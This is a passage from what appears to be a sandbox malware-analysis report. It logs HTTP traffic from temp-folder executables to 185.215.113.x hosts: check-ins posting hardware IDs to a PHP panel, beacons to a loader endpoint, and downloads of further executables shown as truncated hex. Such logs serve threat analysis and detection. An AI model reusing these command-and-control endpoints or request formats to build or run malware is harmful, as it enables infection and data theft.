Nov 8, 2024 15:22:06.827418089 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:22:07.750350952 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:22:07.755424976 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="build"tale------HCAAEBKEGHJKEBFHJDBF--
Nov 8, 2024 15:22:08.043970108 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49863	185.215.113.16	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:07.674750090 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Fri, 08 Nov 2024 14:04:33 GMT If-None-Match: "672e1a71-206e00"
Nov 8, 2024 15:22:08.572324038 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:08 GMT Last-Modified: Fri, 08 Nov 2024 14:04:33 GMT Connection: keep-alive ETag: "672e1a71-206e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49866	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:10.591083050 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 35 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004855031&unit=246122658369
Nov 8, 2024 15:22:11.506334066 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49868	185.215.113.16	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:11.513576031 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 8, 2024 15:22:12.449162006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:12 GMT Content-Type: application/octet-stream Content-Length: 2782720 Last-Modified: Fri, 08 Nov 2024 13:42:20 GMT Connection: keep-alive ETag: "672e153c-2a7600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 79 39 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +y9+`Ui` @ @.rsrc`2@.idata 8@jtkzykov *:@jfxnwzcu P@.taggant@"T*@
Nov 8, 2024 15:22:12.449237108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449251890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449476004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449487925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449500084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449512959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:12.449942112 CET	1236	IN	Data Raw: 1f aa 40 6f 26 47 7f aa be 56 41 52 a9 2c 24 9c 02 03 da 8f dd 61 2d cc 92 9c 0b ad 74 01 bb ba c6 2e 95 0b 78 3f fa 4f 11 d7 03 9a 49 65 4f af 8d 9d 1f 9c f1 90 4c d0 bf 7f 42 d6 8f 95 88 b9 89 a8 6f 6c 26 93 73 74 c2 8c 60 da ad 86 42 3f e0 cf Data Ascii: @o&GVAR,$a-t.x?OIeOLBol&st`B?qHQMqev"RJo{zX_nD2VvmgL%jqhak: i\hHno=d/xt(y~p[K/b ~EyS=u
Nov 8, 2024 15:22:12.449954033 CET	1236	IN	Data Raw: 32 ab 69 7a 6a ab 65 8e 02 b6 e0 95 a4 8e 6b 1d fc 76 6f 96 2f 61 0d 8d ed 13 05 6a 8a 6e 75 6f fc 76 35 8c 1f 4e 31 69 15 a1 f3 ed 8a ab 29 6c fc 4a 69 42 2e 52 d9 9b d9 07 cf 51 e2 8e cd b4 2d 8f 95 31 a7 2a 7c e4 8a 2e 1d 6f 3c 9f f5 3d 34 e6 Data Ascii: 2izjekvo/ajnuov5N1i)lJiB.RQ-1\|.o<=4Iq/a}~h$E@3JH@vDNiB%s h]Uq#g/[%v@yol:\|Yd*0.4n[Cvaa/K)tP`GaA?t
Nov 8, 2024 15:22:12.449966908 CET	1236	IN	Data Raw: c5 88 70 65 d0 66 69 b9 ce 33 b9 6f b1 b2 79 1b bb a1 67 42 fa 9b 05 c5 a6 44 3a 4d db c6 d3 cb c0 73 3b 5f b8 27 07 ab 0c 45 54 b8 9d 80 34 f5 cc ae d5 7f aa 31 f8 49 8c be cb 49 df 41 d9 30 34 9b dd 9c 8f 45 25 67 b5 d8 94 6e 22 fb 0f 3e 79 b4 Data Ascii: pefi3oygBD:Ms;_'ET41IIA04E%gn">yRu\Rbu{@DXm1!EaD!@pUox\|p5u;"n4J}F.\oO)c^Eged~1;\|k@BJp5Kzms[
Nov 8, 2024 15:22:12.454226971 CET	1120	IN	Data Raw: a2 53 a0 c1 94 82 4a b6 99 06 44 ab 40 a2 07 8f a9 9b 7b 2f a8 82 29 a2 ac 78 5d 45 a5 93 5e 9e a9 92 23 60 ff 9f 97 f8 29 c7 4d 54 cb d1 6b 1d fd ec d0 6a c5 30 61 d2 fd a0 77 7b c2 5f dd 63 52 4d df 68 d8 41 28 dd 7c 8b 7e ff 6c 35 da 28 dc c6 Data Ascii: SJD@{/)x]E^#`)MTkj0aw{_cRMhA(\|~l5(#RDz\{)i;!`0uchtm~FKgFh[oaA)>RUyvV0rmqau~ym`3@(gB?}aID

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49876	185.215.113.16	80	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:15.356239080 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 8, 2024 15:22:16.290937901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 2125312 Last-Modified: Fri, 08 Nov 2024 14:04:33 GMT Connection: keep-alive ETag: "672e1a71-206e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,`r@r @P.d. p.v@.rsrc .@.idata .@ ).@uikmugxwX@mucpsfolPrH @.taggant0`r"L @
Nov 8, 2024 15:22:16.291090012 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:16.291100025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:16.291251898 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:16.291263103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:16.291273117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:16.291285992 CET	224	IN	Data Raw: 6d 14 74 19 bc 12 02 24 b0 25 f7 43 05 56 ce 2a e4 b1 b9 b6 98 82 76 dd eb 4d c1 2d 26 a3 8b d7 14 d2 be 00 42 ad bb 28 cf 5a 0b ef c4 71 29 25 d0 17 d6 fd 56 05 21 2c e0 b3 bd 65 c1 58 c2 e8 d7 f4 05 05 dc f4 05 05 e0 f4 05 05 e4 f4 05 05 e8 f4 Data Ascii: mt$%CV*vM-&B(Zq)%V!,eX.k%jLQk@[k\|P?+Jr556XtD)h6e\|e.r3sx`<J8uF
Nov 8, 2024 15:22:16.291296005 CET	1236	IN	Data Raw: 9c d1 a1 44 7e 0a 06 f3 81 9d de 38 c5 6f 6c 37 2f 16 4b 2d 88 7a 8f 90 d0 90 81 f6 fa 36 7c 0f 0c 71 80 c5 d1 f3 ae 0c 3a f6 d2 2c a5 73 56 9a f7 0c af 66 c4 95 ba fe e9 85 8a bd 13 81 ad 64 b6 d5 b9 fe aa 91 54 1d ea 99 31 cb b8 be 29 f5 c1 f6 Data Ascii: D~8ol7/K-z6\|q:,sVfdT1)v]oY?b3fFSf.}F: h<ehH,d~+vQy9\|`R(=Od8]bL;uAY+ztHD^S-\|5aOD2
Nov 8, 2024 15:22:16.291553974 CET	1236	IN	Data Raw: a8 7e 77 90 2e be 3c e0 06 b2 1f f6 c4 fa 6f 1e 10 c6 ba 5d 97 1f fc 5f f8 19 cd ee 20 07 89 1e a4 7e 53 dd 48 77 cd ec 99 18 7a 66 03 59 7a 36 2e 68 d3 19 93 f5 e9 51 92 d9 ea fc 42 20 3c 47 cd d1 6b 0e 7e f3 33 3c 92 af aa f2 32 c3 78 e0 c5 88 Data Ascii: ~w.<o]_ ~SHwzfYz6.hQB <Gk~3<2xP_PY*,O)YStqB[Haezj@s~'e1[.nQ\.)@d_T{\xTJrH)Cs}
Nov 8, 2024 15:22:16.291565895 CET	1236	IN	Data Raw: a5 8d 71 f5 26 55 c6 b4 f1 99 0a f6 b7 79 f7 6a c2 19 8e fc 23 91 82 1e ec 94 de 65 20 db 02 4e 10 b8 82 a4 c4 cd db fc 10 d5 19 e5 3b f5 b0 1f fe f5 df ef c1 39 8b b8 91 9b 48 81 c5 36 5a e5 98 6d ae ed f0 05 d6 2d b2 79 90 ef 9b 1d ae d4 99 d3 Data Ascii: q&Uyj#e N;9H6Zm-yVzHI.%zJV3 Qqxk1-W-J9S1UMCau#!KHD=Ql$<X`\H3}A
Nov 8, 2024 15:22:16.296171904 CET	1236	IN	Data Raw: 5f b3 cd fb c1 ca 6d f5 c7 93 ee 15 40 79 6b 6c 93 f2 82 48 89 47 a3 80 88 d0 f9 03 01 8a 39 e5 d2 ff 8b d4 eb b9 6f 6c a1 a8 a3 a0 ba 17 83 4d ec 1a e7 1c c2 8a b1 ed a0 8d 35 61 48 d5 b9 20 d8 93 71 15 0c b9 82 3c 04 5e 72 cb c6 7f 92 f0 ca 81 Data Ascii: _m@yklHG9olM5aH q<^rd?9h&t+17T@Q aEhAJy0Mv`u~duyMO4@)fu;2Imd<Y\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49878	185.215.113.206	80	6596	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:18.128958941 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:22:19.038480997 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:22:19.103416920 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 2d 2d 0d 0a Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="build"tale------AAAAKJKJEBGHJKFHIDGC--
Nov 8, 2024 15:22:19.384545088 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49880	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:20.786253929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004856001&unit=246122658369
Nov 8, 2024 15:22:21.715339899 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49883	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:23.356832981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 8, 2024 15:22:24.288885117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49884	185.215.113.206	80	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:24.657109022 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:22:25.558836937 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:22:25.561528921 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="build"tale------KJKEHIIJJECFHJKECFHD--
Nov 8, 2024 15:22:25.841499090 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49886	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:25.814656019 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 8, 2024 15:22:26.749073029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49889	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:28.405669928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 8, 2024 15:22:29.302148104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49891	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
